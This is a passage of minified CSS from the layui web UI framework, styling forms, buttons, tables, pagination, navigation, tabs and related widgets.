5px;background:0 0}.layui-elem-field{margin-bottom:10px;padding:0;border-width:1px;border-style:solid}.layui-elem-field legend{margin-left:20px;padding:0 10px;font-size:20px;font-weight:300}.layui-field-title{margin:10px 0 20px;border-width:1px 0 0}.layui-field-box{padding:10px 15px}.layui-field-title .layui-field-box{padding:10px 0}.layui-progress{position:relative;height:6px;border-radius:20px;background-color:#e2e2e2}.layui-progress-bar{position:absolute;left:0;top:0;width:0;max-width:100%;height:6px;border-radius:20px;text-align:right;background-color:#5FB878;transition:all .3s;-webkit-transition:all .3s}.layui-progress-big,.layui-progress-big .layui-progress-bar{height:18px;line-height:18px}.layui-progress-text{position:relative;top:-20px;line-height:18px;font-size:12px;color:#666}.layui-progress-big .layui-progress-text{position:static;padding:0 10px;color:#fff}.layui-collapse{border-width:1px;border-style:solid;border-radius:2px}.layui-colla-content,.layui-colla-item{border-top-width:1px;border-top-style:solid}.layui-colla-item:first-child{border-top:none}.layui-colla-title{position:relative;height:42px;line-height:42px;padding:0 15px 0 35px;color:#333;background-color:#f2f2f2;cursor:pointer;font-size:14px}.layui-colla-content{display:none;padding:10px 15px;line-height:22px;color:#666}.layui-colla-icon{position:absolute;left:15px;top:0;font-size:14px}.layui-card-body,.layui-card-header,.layui-form-label,.layui-form-mid,.layui-form-select,.layui-input-block,.layui-input-inline,.layui-textarea{position:relative}.layui-card{margin-bottom:15px;border-radius:2px;background-color:#fff;box-shadow:0 1px 2px 0 rgba(0,0,0,.05)}.layui-card:last-child{margin-bottom:0}.layui-card-header{height:42px;line-height:42px;padding:0 15px;border-bottom:1px solid #f6f6f6;color:#333;border-radius:2px 2px 0 0;font-size:14px}.layui-bg-black,.layui-bg-blue,.layui-bg-cyan,.layui-bg-green,.layui-bg-orange,.layui-bg-red{color:#fff!important}.layui-card-body{padding:10px 15px;line-height:24px}.layui-card-body .layui-table{margin:5px 0}.layui-card .layui-tab{margin:0}.layui-panel-window{position:relative;padding:15px;border-radius:0;border-top:5px solid #E6E6E6;background-color:#fff}.layui-bg-red{background-color:#FF5722!important}.layui-bg-orange{background-color:#FFB800!important}.layui-bg-green{background-color:#009688!important}.layui-bg-cyan{background-color:#2F4056!important}.layui-bg-blue{background-color:#1E9FFF!important}.layui-bg-black{background-color:#393D49!important}.layui-bg-gray{background-color:#eee!important;color:#666!important}.layui-badge-rim,.layui-colla-content,.layui-colla-item,.layui-collapse,.layui-elem-field,.layui-form-pane .layui-form-item[pane],.layui-form-pane .layui-form-label,.layui-input,.layui-layedit,.layui-layedit-tool,.layui-quote-nm,.layui-select,.layui-tab-bar,.layui-tab-card,.layui-tab-title,.layui-tab-title .layui-this:after,.layui-textarea{border-color:#e6e6e6}.layui-timeline-item:before,hr{background-color:#e6e6e6}.layui-text{line-height:22px;font-size:14px;color:#666}.layui-text h1,.layui-text h2,.layui-text h3{font-weight:500;color:#333}.layui-text h1{font-size:30px}.layui-text h2{font-size:24px}.layui-text h3{font-size:18px}.layui-text a:not(.layui-btn){color:#01AAED}.layui-text a:not(.layui-btn):hover{text-decoration:underline}.layui-text ul{padding:5px 0 5px 15px}.layui-text ul li{margin-top:5px;list-style-type:disc}.layui-text em,.layui-word-aux{color:#999!important;padding:0 5px!important}.layui-btn{display:inline-block;height:38px;line-height:38px;padding:0 18px;background-color:#009688;color:#fff;white-space:nowrap;text-align:center;font-size:14px;border:none;border-radius:2px;cursor:pointer}.layui-btn:hover{opacity:.8;filter:alpha(opacity=80);color:#fff}.layui-btn:active{opacity:1;filter:alpha(opacity=100)}.layui-btn+.layui-btn{margin-left:10px}.layui-btn-container{font-size:0}.layui-btn-container .layui-btn{margin-right:10px;margin-bottom:10px}.layui-btn-container .layui-btn+.layui-btn{margin-left:0}.layui-table .layui-btn-container .layui-btn{margin-bottom:9px}.layui-btn-radius{border-radius:100px}.layui-btn .layui-icon{margin-right:3px;font-size:18px;vertical-align:bottom;vertical-align:middle\9}.layui-btn-primary{border:1px solid #C9C9C9;background-color:#fff;color:#555}.layui-btn-primary:hover{border-color:#009688;color:#333}.layui-btn-normal{background-color:#1E9FFF}.layui-btn-warm{background-color:#FFB800}.layui-btn-danger{background-color:#FF5722}.layui-btn-disabled,.layui-btn-disabled:active,.layui-btn-disabled:hover{border:1px solid #e6e6e6;background-color:#FBFBFB;color:#C9C9C9;cursor:not-allowed;opacity:1}.layui-btn-lg{height:44px;line-height:44px;padding:0 25px;font-size:16px}.layui-btn-sm{height:30px;line-height:30px;padding:0 10px;font-size:12px}.layui-btn-sm i{font-size:16px!important}.layui-btn-xs{height:22px;line-height:22px;padding:0 5px;font-size:12px}.layui-btn-xs i{font-size:14px!important}.layui-btn-group{display:inline-block;vertical-align:middle;font-size:0}.layui-btn-group .layui-btn{margin-left:0!important;margin-right:0!important;border-left:1px solid rgba(255,255,255,.5);border-radius:0}.layui-btn-group .layui-btn-primary{border-left:none}.layui-btn-group .layui-btn-primary:hover{border-color:#C9C9C9;color:#009688}.layui-btn-group .layui-btn:first-child{border-left:none;border-radius:2px 0 0 2px}.layui-btn-group .layui-btn-primary:first-child{border-left:1px solid #c9c9c9}.layui-btn-group .layui-btn:last-child{border-radius:0 2px 2px 0}.layui-btn-group .layui-btn+.layui-btn{margin-left:0}.layui-btn-group+.layui-btn-group{margin-left:10px}.layui-btn-fluid{width:100%}.layui-input,.layui-select,.layui-textarea{height:38px;line-height:1.3;line-height:38px\9;border-width:1px;border-style:solid;background-color:#fff;border-radius:2px}.layui-input::-webkit-input-placeholder,.layui-select::-webkit-input-placeholder,.layui-textarea::-webkit-input-placeholder{line-height:1.3}.layui-input,.layui-textarea{display:block;width:100%;padding-left:10px}.layui-input:hover,.layui-textarea:hover{border-color:#D2D2D2!important}.layui-input:focus,.layui-textarea:focus{border-color:#C9C9C9!important}.layui-textarea{min-height:100px;height:auto;line-height:20px;padding:6px 10px;resize:vertical}.layui-select{padding:0 10px}.layui-form input[type=checkbox],.layui-form input[type=radio],.layui-form select{display:none}.layui-form [lay-ignore]{display:initial}.layui-form-item{margin-bottom:15px;clear:both;*zoom:1}.layui-form-item:after{content:'\20';clear:both;*zoom:1;display:block;height:0}.layui-form-label{float:left;display:block;padding:9px 15px;width:80px;font-weight:400;line-height:20px;text-align:right}.layui-form-label-col{display:block;float:none;padding:9px 0;line-height:20px;text-align:left}.layui-form-item .layui-inline{margin-bottom:5px;margin-right:10px}.layui-input-block{margin-left:110px;min-height:36px}.layui-input-inline{display:inline-block;vertical-align:middle}.layui-form-item .layui-input-inline{float:left;width:190px;margin-right:10px}.layui-form-text .layui-input-inline{width:auto}.layui-form-mid{float:left;display:block;padding:9px 0!important;line-height:20px;margin-right:10px}.layui-form-danger+.layui-form-select .layui-input,.layui-form-danger:focus{border-color:#FF5722!important}.layui-form-select .layui-input{padding-right:30px;cursor:pointer}.layui-form-select .layui-edge{position:absolute;right:10px;top:50%;margin-top:-3px;cursor:pointer;border-width:6px;border-top-color:#c2c2c2;border-top-style:solid;transition:all .3s;-webkit-transition:all .3s}.layui-form-select dl{display:none;position:absolute;left:0;top:42px;padding:5px 0;z-index:999;min-width:100%;border:1px solid #d2d2d2;max-height:300px;overflow-y:auto;background-color:#fff;border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.12);box-sizing:border-box}.layui-form-select dl dd,.layui-form-select dl dt{padding:0 10px;line-height:36px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.layui-form-select dl dt{font-size:12px;color:#999}.layui-form-select dl dd{cursor:pointer}.layui-form-select dl dd:hover{background-color:#f2f2f2}.layui-form-select .layui-select-group dd{padding-left:20px}.layui-form-select dl dd.layui-select-tips{padding-left:10px!important;color:#999}.layui-form-select dl dd.layui-this{background-color:#5FB878;color:#fff}.layui-form-checkbox,.layui-form-select dl dd.layui-disabled{background-color:#fff}.layui-form-selected dl{display:block}.layui-form-checkbox,.layui-form-checkbox *,.layui-form-switch{display:inline-block;vertical-align:middle}.layui-form-selected .layui-edge{margin-top:-9px;-webkit-transform:rotate(180deg);transform:rotate(180deg);margin-top:-3px\9}:root .layui-form-selected .layui-edge{margin-top:-9px\0/IE9}.layui-form-selectup dl{top:auto;bottom:42px}.layui-select-none{margin:5px 0;text-align:center;color:#999}.layui-select-disabled .layui-disabled{border-color:#eee!important}.layui-select-disabled .layui-edge{border-top-color:#d2d2d2}.layui-form-checkbox{position:relative;height:30px;line-height:28px;margin-right:10px;padding-right:30px;border:1px solid #d2d2d2;cursor:pointer;font-size:0;border-radius:2px;-webkit-transition:.1s linear;transition:.1s linear;box-sizing:border-box}.layui-form-checkbox:hover{border:1px solid #c2c2c2}.layui-form-checkbox span{padding:0 10px;height:100%;font-size:14px;background-color:#d2d2d2;color:#fff;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.layui-form-checkbox:hover span{background-color:#c2c2c2}.layui-form-checkbox i{position:absolute;right:0;width:30px;color:#fff;font-size:20px;text-align:center}.layui-form-checkbox:hover i{color:#c2c2c2}.layui-form-checked,.layui-form-checked:hover{border-color:#5FB878}.layui-form-checked span,.layui-form-checked:hover span{background-color:#5FB878}.layui-form-checked i,.layui-form-checked:hover i{color:#5FB878}.layui-form-item .layui-form-checkbox{margin-top:4px}.layui-form-checkbox[lay-skin=primary]{height:auto!important;line-height:normal!important;border:none!important;margin-right:0;padding-right:0;background:0 0}.layui-form-checkbox[lay-skin=primary] span{float:right;padding-right:15px;line-height:18px;background:0 0;color:#666}.layui-form-checkbox[lay-skin=primary] i{position:relative;top:0;width:16px;height:16px;line-height:16px;border:1px solid #d2d2d2;font-size:12px;border-radius:2px;background-color:#fff;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-checkbox[lay-skin=primary]:hover i{border-color:#5FB878;color:#fff}.layui-form-checked[lay-skin=primary] i{border-color:#5FB878;background-color:#5FB878;color:#fff}.layui-checkbox-disbaled[lay-skin=primary] span{background:0 0!important;color:#c2c2c2}.layui-checkbox-disbaled[lay-skin=primary]:hover i{border-color:#d2d2d2}.layui-form-item .layui-form-checkbox[lay-skin=primary]{margin-top:10px}.layui-form-switch{position:relative;height:22px;line-height:22px;width:42px;padding:0 5px;margin-top:8px;border:1px solid #d2d2d2;border-radius:20px;cursor:pointer;background-color:#fff;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-switch i{position:absolute;left:5px;top:3px;width:16px;height:16px;border-radius:20px;background-color:#d2d2d2;-webkit-transition:.1s linear;transition:.1s linear}.layui-form-switch em{position:absolute;right:5px;top:0;width:25px;padding:0!important;text-align:center!important;color:#999!important;font-style:normal!important;font-size:12px}.layui-form-onswitch{border-color:#5FB878;background-color:#5FB878}.layui-form-onswitch i{left:32px;background-color:#fff}.layui-form-onswitch em{left:5px;right:auto;color:#fff!important}.layui-checkbox-disbaled{border-color:#e2e2e2!important}.layui-checkbox-disbaled span{background-color:#e2e2e2!important}.layui-checkbox-disbaled:hover i{color:#fff!important}[lay-radio]{display:none}.layui-form-radio,.layui-form-radio *{display:inline-block;vertical-align:middle}.layui-form-radio{line-height:28px;margin:6px 10px 0 0;padding-right:10px;cursor:pointer;font-size:0}.layui-form-radio *{font-size:14px}.layui-form-radio>i{margin-right:8px;font-size:22px;color:#c2c2c2}.layui-form-radio>i:hover,.layui-form-radioed>i{color:#5FB878}.layui-radio-disbaled>i{color:#e2e2e2!important}.layui-form-pane .layui-form-label{width:110px;padding:8px 15px;height:38px;line-height:20px;border-width:1px;border-style:solid;border-radius:2px 0 0 2px;text-align:center;background-color:#FBFBFB;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;box-sizing:border-box}.layui-form-pane .layui-input-inline{margin-left:-1px}.layui-form-pane .layui-input-block{margin-left:110px;left:-1px}.layui-form-pane .layui-input{border-radius:0 2px 2px 0}.layui-form-pane .layui-form-text .layui-form-label{float:none;width:100%;border-radius:2px;box-sizing:border-box;text-align:left}.layui-form-pane .layui-form-text .layui-input-inline{display:block;margin:0;top:-1px;clear:both}.layui-form-pane .layui-form-text .layui-input-block{margin:0;left:0;top:-1px}.layui-form-pane .layui-form-text .layui-textarea{min-height:100px;border-radius:0 0 2px 2px}.layui-form-pane .layui-form-checkbox{margin:4px 0 4px 10px}.layui-form-pane .layui-form-radio,.layui-form-pane .layui-form-switch{margin-top:6px;margin-left:10px}.layui-form-pane .layui-form-item[pane]{position:relative;border-width:1px;border-style:solid}.layui-form-pane .layui-form-item[pane] .layui-form-label{position:absolute;left:0;top:0;height:100%;border-width:0 1px 0 0}.layui-form-pane .layui-form-item[pane] .layui-input-inline{margin-left:110px}@media screen and (max-width:450px){.layui-form-item .layui-form-label{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-form-item .layui-inline{display:block;margin-right:0;margin-bottom:20px;clear:both}.layui-form-item .layui-inline:after{content:'\20';clear:both;display:block;height:0}.layui-form-item .layui-input-inline{display:block;float:none;left:-3px;width:auto;margin:0 0 10px 112px}.layui-form-item .layui-input-inline+.layui-form-mid{margin-left:110px;top:-5px;padding:0}.layui-form-item .layui-form-checkbox{margin-right:5px;margin-bottom:5px}}.layui-layedit{border-width:1px;border-style:solid;border-radius:2px}.layui-layedit-tool{padding:3px 5px;border-bottom-width:1px;border-bottom-style:solid;font-size:0}.layedit-tool-fixed{position:fixed;top:0;border-top:1px solid #e2e2e2}.layui-layedit-tool .layedit-tool-mid,.layui-layedit-tool .layui-icon{display:inline-block;vertical-align:middle;text-align:center;font-size:14px}.layui-layedit-tool .layui-icon{position:relative;width:32px;height:30px;line-height:30px;margin:3px 5px;color:#777;cursor:pointer;border-radius:2px}.layui-layedit-tool .layui-icon:hover{color:#393D49}.layui-layedit-tool .layui-icon:active{color:#000}.layui-layedit-tool .layedit-tool-active{background-color:#e2e2e2;color:#000}.layui-layedit-tool .layui-disabled,.layui-layedit-tool .layui-disabled:hover{color:#d2d2d2;cursor:not-allowed}.layui-layedit-tool .layedit-tool-mid{width:1px;height:18px;margin:0 10px;background-color:#d2d2d2}.layedit-tool-html{width:50px!important;font-size:30px!important}.layedit-tool-b,.layedit-tool-code,.layedit-tool-help{font-size:16px!important}.layedit-tool-d,.layedit-tool-face,.layedit-tool-image,.layedit-tool-unlink{font-size:18px!important}.layedit-tool-image input{position:absolute;font-size:0;left:0;top:0;width:100%;height:100%;opacity:.01;filter:Alpha(opacity=1);cursor:pointer}.layui-layedit-iframe iframe{display:block;width:100%}#LAY_layedit_code{overflow:hidden}.layui-laypage{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;margin:10px 0;font-size:0}.layui-laypage>a:first-child,.layui-laypage>a:first-child em{border-radius:2px 0 0 2px}.layui-laypage>a:last-child,.layui-laypage>a:last-child em{border-radius:0 2px 2px 0}.layui-laypage>:first-child{margin-left:0!important}.layui-laypage>:last-child{margin-right:0!important}.layui-laypage a,.layui-laypage button,.layui-laypage input,.layui-laypage select,.layui-laypage span{border:1px solid #e2e2e2}.layui-laypage a,.layui-laypage span{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;padding:0 15px;height:28px;line-height:28px;margin:0 -1px 5px 0;background-color:#fff;color:#333;font-size:12px}.layui-laypage a:hover{color:#009688}.layui-laypage em{font-style:normal}.layui-laypage .layui-laypage-spr{color:#999;font-weight:700}.layui-laypage a{text-decoration:none}.layui-laypage .layui-laypage-curr{position:relative}.layui-laypage .layui-laypage-curr em{position:relative;color:#fff}.layui-laypage .layui-laypage-curr .layui-laypage-em{position:absolute;left:-1px;top:-1px;padding:1px;width:100%;height:100%;background-color:#009688}.layui-laypage-em{border-radius:2px}.layui-laypage-next em,.layui-laypage-prev em{font-family:Sim sun;font-size:16px}.layui-laypage .layui-laypage-count,.layui-laypage .layui-laypage-limits,.layui-laypage .layui-laypage-skip{margin-left:10px;margin-right:10px;padding:0;border:none}.layui-laypage .layui-laypage-limits{vertical-align:top}.layui-laypage select{height:22px;padding:3px;border-radius:2px;cursor:pointer}.layui-laypage .layui-laypage-skip{height:30px;line-height:30px;color:#999}.layui-laypage button,.layui-laypage input{height:30px;line-height:30px;border-radius:2px;vertical-align:top;background-color:#fff;box-sizing:border-box}.layui-laypage input{display:inline-block;width:40px;margin:0 10px;padding:0 3px;text-align:center}.layui-laypage input:focus,.layui-laypage select:focus{border-color:#009688!important}.layui-laypage button{margin-left:10px;padding:0 10px;cursor:pointer}.layui-table,.layui-table-view{margin:10px 0}.layui-flow-more{margin:10px 0;text-align:center;color:#999;font-size:14px}.layui-flow-more a{height:32px;line-height:32px}.layui-flow-more a *{display:inline-block;vertical-align:top}.layui-flow-more a cite{padding:0 20px;border-radius:3px;background-color:#eee;color:#333;font-style:normal}.layui-flow-more a cite:hover{opacity:.8}.layui-flow-more a i{font-size:30px;color:#737383}.layui-table{width:100%;background-color:#fff;color:#666}.layui-table tr{transition:all .3s;-webkit-transition:all .3s}.layui-table th{text-align:left;font-weight:400}.layui-table tbody tr:hover,.layui-table thead tr,.layui-table-click,.layui-table-header,.layui-table-hover,.layui-table-mend,.layui-table-patch,.layui-table-tool,.layui-table[lay-even] tr:nth-child(even){background-color:#f2f2f2}.layui-table td,.layui-table th,.layui-table-fixed-r,.layui-table-header,.layui-table-page,.layui-table-tips-main,.layui-table-tool,.layui-table-view,.layui-table[lay-skin=line],.layui-table[lay-skin=row]{border-width:1px;border-style:solid;border-color:#e6e6e6}.layui-table td,.layui-table th{position:relative;padding:9px 15px;min-height:20px;line-height:20px;font-size:14px}.layui-table[lay-skin=line] td,.layui-table[lay-skin=line] th{border-width:0 0 1px}.layui-table[lay-skin=row] td,.layui-table[lay-skin=row] th{border-width:0 1px 0 0}.layui-table[lay-skin=nob] td,.layui-table[lay-skin=nob] th{border:none}.layui-table img{max-width:100px}.layui-table[lay-size=lg] td,.layui-table[lay-size=lg] th{padding:15px 30px}.layui-table-view .layui-table[lay-size=lg] .layui-table-cell{height:40px;line-height:40px}.layui-table[lay-size=sm] td,.layui-table[lay-size=sm] th{font-size:12px;padding:5px 10px}.layui-table-view .layui-table[lay-size=sm] .layui-table-cell{height:20px;line-height:20px}.layui-table[lay-data]{display:none}.layui-table-box,.layui-table-view{position:relative;overflow:hidden}.layui-table-view .layui-table{position:relative;width:auto;margin:0}.layui-table-body,.layui-table-header .layui-table,.layui-table-page{margin-bottom:-1px}.layui-table-view .layui-table[lay-skin=line]{border-width:0 1px 0 0}.layui-table-view .layui-table[lay-skin=row]{border-width:0 0 1px}.layui-table-view .layui-table td,.layui-table-view .layui-table th{padding:5px 0;border-top:none;border-left:none}.layui-table-view .layui-table td{cursor:default}.layui-table-view .layui-form-checkbox[lay-skin=primary] i{width:18px;height:18px}.layui-table-header{border-width:0 0 1px;overflow:hidden}.layui-table-sort{width:10px;height:20px;margin-left:5px;cursor:pointer!important}.layui-table-sort .layui-edge{position:absolute;left:5px;border-width:5px}.layui-table-sort .layui-table-sort-asc{top:4px;border-top:none;border-bottom-style:solid;border-bottom-color:#b2b2b2}.layui-table-sort .layui-table-sort-asc:hover{border-bottom-color:#666}.layui-table-sort .layui-table-sort-desc{bottom:4px;border-bottom:none;border-top-style:solid;border-top-color:#b2b2b2}.layui-table-sort .layui-table-sort-desc:hover{border-top-color:#666}.layui-table-sort[lay-sort=asc] .layui-table-sort-asc{border-bottom-color:#000}.layui-table-sort[lay-sort=desc] .layui-table-sort-desc{border-top-color:#000}.layui-table-cell{height:28px;line-height:28px;padding:0 15px;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;box-sizing:border-box}.layui-table-cell .layui-form-checkbox[lay-skin=primary]{top:-1px;vertical-align:middle}.layui-table-cell .layui-table-link{color:#01AAED}.laytable-cell-checkbox,.laytable-cell-numbers,.laytable-cell-space{padding:0;text-align:center}.layui-table-body{position:relative;overflow:auto;margin-right:-1px}.layui-table-body .layui-none{line-height:40px;text-align:center;color:#999}.layui-table-fixed{position:absolute;left:0;top:0}.layui-table-fixed .layui-table-body{overflow:hidden}.layui-table-fixed-l{box-shadow:0 -1px 8px rgba(0,0,0,.08)}.layui-table-fixed-r{left:auto;right:-1px;border-width:0 0 0 1px;box-shadow:-1px 0 8px rgba(0,0,0,.08)}.layui-table-fixed-r .layui-table-header{position:relative;overflow:visible}.layui-table-mend{position:absolute;right:-49px;top:0;height:100%;width:50px}.layui-table-tool{position:relative;width:100%;height:50px;line-height:30px;padding:10px 15px;border-width:0 0 1px}.layui-table-page{position:relative;width:100%;padding:7px 7px 0;border-width:1px 0 0;height:41px;font-size:12px}.layui-table-page>div{height:26px}.layui-table-page .layui-laypage{margin:0}.layui-table-page .layui-laypage a,.layui-table-page .layui-laypage span{height:26px;line-height:26px;margin-bottom:10px;border:none;background:0 0}.layui-table-page .layui-laypage a,.layui-table-page .layui-laypage span.layui-laypage-curr{padding:0 12px}.layui-table-page .layui-laypage span{margin-left:0;padding:0}.layui-table-page .layui-laypage .layui-laypage-prev{margin-left:-7px!important}.layui-table-page .layui-laypage .layui-laypage-curr .layui-laypage-em{left:0;top:0;padding:0}.layui-table-page .layui-laypage button,.layui-table-page .layui-laypage input{height:26px;line-height:26px}.layui-table-page .layui-laypage input{width:40px}.layui-table-page .layui-laypage button{padding:0 10px}.layui-table-page select{height:18px}.layui-table-view select[lay-ignore]{display:inline-block}.layui-table-patch .layui-table-cell{padding:0;width:30px}.layui-table-edit{position:absolute;left:0;top:0;width:100%;height:100%;padding:0 14px 1px;border-radius:0;box-shadow:1px 1px 20px rgba(0,0,0,.15)}.layui-table-edit:focus{border-color:#5FB878!important}select.layui-table-edit{padding:0 0 0 10px;border-color:#C9C9C9}.layui-table-view .layui-form-checkbox,.layui-table-view .layui-form-radio,.layui-table-view .layui-form-switch{top:0;margin:0;box-sizing:content-box}.layui-table-view .layui-form-checkbox{top:-1px;height:26px;line-height:26px}body .layui-table-tips .layui-layer-content{background:0 0;padding:0;box-shadow:0 1px 6px rgba(0,0,0,.1)}.layui-table-tips-main{margin:-44px 0 0 -1px;max-height:150px;padding:8px 15px;font-size:14px;overflow-y:scroll;background-color:#fff;color:#333}.layui-code,.layui-upload-list{margin:10px 0}.layui-table-tips-c{position:absolute;right:-3px;top:-12px;width:18px;height:18px;padding:3px;text-align:center;font-weight:700;border-radius:100%;font-size:14px;cursor:pointer;background-color:#666}.layui-table-tips-c:hover{background-color:#999}.layui-upload-file{display:none!important;opacity:.01;filter:Alpha(opacity=1)}.layui-upload-drag,.layui-upload-form,.layui-upload-wrap{display:inline-block}.layui-upload-choose{padding:0 10px;color:#999}.layui-upload-drag{position:relative;padding:30px;border:1px dashed #e2e2e2;background-color:#fff;text-align:center;cursor:pointer;color:#999}.layui-upload-drag .layui-icon{font-size:50px;color:#009688}.layui-upload-drag[lay-over]{border-color:#009688}.layui-upload-iframe{position:absolute;width:0;height:0;border:0;visibility:hidden}.layui-upload-wrap{position:relative;vertical-align:middle}.layui-upload-wrap .layui-upload-file{display:block!important;position:absolute;left:0;top:0;z-index:10;font-size:100px;width:100%;height:100%;opacity:.01;filter:Alpha(opacity=1);cursor:pointer}.layui-code{position:relative;padding:15px;line-height:20px;border:1px solid #ddd;border-left-width:6px;background-color:#F2F2F2;color:#333;font-family:Courier New;font-size:12px}.layui-tree{line-height:26px}.layui-tree li{text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-tree li .layui-tree-spread,.layui-tree li a{display:inline-block;vertical-align:top;height:26px;*display:inline;*zoom:1;cursor:pointer}.layui-tree li a{font-size:0}.layui-tree li a i{font-size:16px}.layui-tree li a cite{padding:0 6px;font-size:14px;font-style:normal}.layui-tree li i{padding-left:6px;color:#333;-moz-user-select:none}.layui-tree li .layui-tree-check{font-size:13px}.layui-tree li .layui-tree-check:hover{color:#009E94}.layui-tree li ul{display:none;margin-left:20px}.layui-tree li .layui-tree-enter{line-height:24px;border:1px dotted #000}.layui-tree-drag{display:none;position:absolute;left:-666px;top:-666px;background-color:#f2f2f2;padding:5px 10px;border:1px dotted #000;white-space:nowrap}.layui-tree-drag i{padding-right:5px}.layui-nav{position:relative;padding:0 20px;background-color:#393D49;color:#fff;border-radius:2px;font-size:0;box-sizing:border-box}.layui-nav *{font-size:14px}.layui-nav .layui-nav-item{position:relative;display:inline-block;*display:inline;*zoom:1;vertical-align:middle;line-height:60px}.layui-nav .layui-nav-item a{display:block;padding:0 20px;color:#fff;color:rgba(255,255,255,.7);transition:all .3s;-webkit-transition:all .3s}.layui-nav .layui-this:after,.layui-nav-bar,.layui-nav-tree .layui-nav-itemed:after{position:absolute;left:0;top:0;width:0;height:5px;background-color:#5FB878;transition:all .2s;-webkit-transition:all .2s}.layui-nav-bar{z-index:1000}.layui-nav .layui-nav-item a:hover,.layui-nav .layui-this a{color:#fff}.layui-nav .layui-this:after{content:'';top:auto;bottom:0;width:100%}.layui-nav-img{width:30px;height:30px;margin-right:10px;border-radius:50%}.layui-nav .layui-nav-more{content:'';width:0;height:0;border-style:solid dashed dashed;border-color:#fff transparent transparent;overflow:hidden;cursor:pointer;transition:all .2s;-webkit-transition:all .2s;position:absolute;top:50%;right:3px;margin-top:-3px;border-width:6px;border-top-color:rgba(255,255,255,.7)}.layui-nav .layui-nav-mored,.layui-nav-itemed .layui-nav-more{margin-top:-9px;border-style:dashed dashed solid;border-color:transparent transparent #fff}.layui-nav-child{display:none;position:absolute;left:0;top:65px;min-width:100%;line-height:36px;padding:5px 0;box-shadow:0 2px 4px rgba(0,0,0,.12);border:1px solid #d2d2d2;background-color:#fff;z-index:100;border-radius:2px;white-space:nowrap}.layui-nav .layui-nav-child a{color:#333}.layui-nav .layui-nav-child a:hover{background-color:#f2f2f2;color:#000}.layui-nav-child dd{position:relative}.layui-nav .layui-nav-child dd.layui-this a,.layui-nav-child dd.layui-this{background-color:#5FB878;color:#fff}.layui-nav-child dd.layui-this:after{display:none}.layui-nav-tree{width:200px;padding:0}.layui-nav-tree .layui-nav-item{display:block;width:100%;line-height:45px}.layui-nav-tree .layui-nav-item a{height:45px;line-height:45px;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layui-nav-tree .layui-nav-item a:hover{background-color:#4E5465}.layui-nav-tree .layui-nav-bar{width:5px;height:0;background-color:#009688}.layui-nav-tree .layui-nav-child dd.layui-this,.layui-nav-tree .layui-nav-child dd.layui-this a,.layui-nav-tree .layui-this,.layui-nav-tree .layui-this>a,.layui-nav-tree .layui-this>a:hover{background-color:#009688;color:#fff}.layui-nav-tree .layui-this:after{display:none}.layui-nav-itemed>a,.layui-nav-tree .layui-nav-title a,.layui-nav-tree .layui-nav-title a:hover{color:#fff!important}.layui-nav-tree .layui-nav-child{position:relative;z-index:0;top:0;border:none;box-shadow:none}.layui-nav-tree .layui-nav-child a{height:40px;line-height:40px;color:#fff;color:rgba(255,255,255,.7)}.layui-nav-tree .layui-nav-child,.layui-nav-tree .layui-nav-child a:hover{background:0 0;color:#fff}.layui-nav-tree .layui-nav-more{top:20px;right:10px;margin:0}.layui-nav-itemed .layui-nav-more{top:14px}.layui-nav-itemed .layui-nav-child{display:block;padding:0;background-color:rgba(0,0,0,.3)!important}.layui-nav-side{position:fixed;top:0;bottom:0;left:0;overflow-x:hidden;z-index:999}.layui-bg-blue .layui-nav-bar,.layui-bg-blue .layui-nav-itemed:after,.layui-bg-blue .layui-this:after{background-color:#93D1FF}.layui-bg-blue .layui-nav-child dd.layui-this{background-color:#1E9FFF}.layui-bg-blue .layui-nav-itemed>a,.layui-nav-tree.layui-bg-blue .layui-nav-title a,.layui-nav-tree.layui-bg-blue .layui-nav-title a:hover{background-color:#007DDB!important}.layui-breadcrumb{visibility:hidden;font-size:0}.layui-breadcrumb>*{font-size:14px}.layui-breadcrumb a{color:#999!important}.layui-breadcrumb a:hover{color:#5FB878!important}.layui-breadcrumb a cite{color:#666;font-style:normal}.layui-breadcrumb span[lay-separator]{margin:0 10px;color:#999}.layui-tab{margin:10px 0;text-align:left!important}.layui-tab[overflow]>.layui-tab-title{overflow:hidden}.layui-tab-title{position:relative;left:0;height:40px;white-space:nowrap;font-size:0;border-bottom-width:1px;border-bottom-style:solid;transition:all .2s;-webkit-transition:all .2s}.layui-tab-title li{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;font-size:14px;transition:all .2s;-webkit-transition:all .2s;position:relative;line-height:40px;min-width:65px;padding:0 15px;text-align:center;cursor:pointer}.layui-tab-title li a{display:block}.layui-tab-title .layui-this{color:#000}.layui-tab-title .layui-this:after{position:absolute;left:0;top:0;content:'';width:100%;height:41px;border-width:1px;border-style:solid;border-bottom-color:#fff;border-radius:2px 2px 0 0;box-sizing:border-box;pointer-events:none}.layui-tab-bar{position:absolute;right:0;top:0;z-index:10;width:30px;height:39px;line-height:39px;border-width:1px;border-style:solid;border-radius:2px;text-align:center;background-color:#fff;cursor:pointer}.layui-tab-bar .layui-icon{position:relative;display:inline-block;top:3px;transition:all .3s;-webkit-transition:all .3s}.layui-tab-item{display:none}.layui-tab-more{padding-right:30px;height:auto!important;white-space:normal!important}.layui-tab-more li.layui-this:after{border-bottom-color:#e2e2e2;border-radius:2px}.layui-tab-more .layui-tab-bar .layui-icon{top:-2px;top:3px\9;-webkit-transform:rotate(180deg);transform:rotate(180deg)}:root .layui-tab-more .layui-tab-bar .layui-icon{top:-2px\0/IE9}.layui-tab-content{padding:10px}.layui-tab-title li .layui-tab-close{position:relative;display:inline-block;width:18px;height:18px;line-height:20px;margin-left:8px;top:1px;text-align:center;font-size:14px;color:#c2c2c2;transition:all .2s;-webkit-transition:all .2s}.layui-tab-title li .layui-tab-close:hover{border-radius:2px;background-color:#FF5722;color:#fff}.layui-tab-brief>.layui-tab-title .layui-this{color:#009688}.layui-tab-brief>.layui-tab-more li.layui-this:after,.layui-tab-brief>.layui-tab-title .layui-this:after{border:none;border-radius:0;border-bottom:2px solid 